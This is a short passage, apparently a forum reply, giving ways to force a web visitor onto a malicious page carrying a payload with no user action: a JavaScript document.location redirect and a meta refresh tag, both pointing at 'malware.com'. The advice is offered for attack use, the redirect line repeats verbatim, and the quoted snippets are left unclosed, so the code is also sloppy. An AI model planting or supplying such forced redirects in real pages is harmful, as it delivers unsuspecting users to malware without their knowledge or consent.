If your only goal is to send the user to a malicious page with a payload then you don't need any user action.
Just do: document.location.href = "http://malware.com;
And you are done.
Just do: document.location.href = "http://malware.com;
And you are done.
<meta http-equiv="refresh" content="0; url=http://malware.com />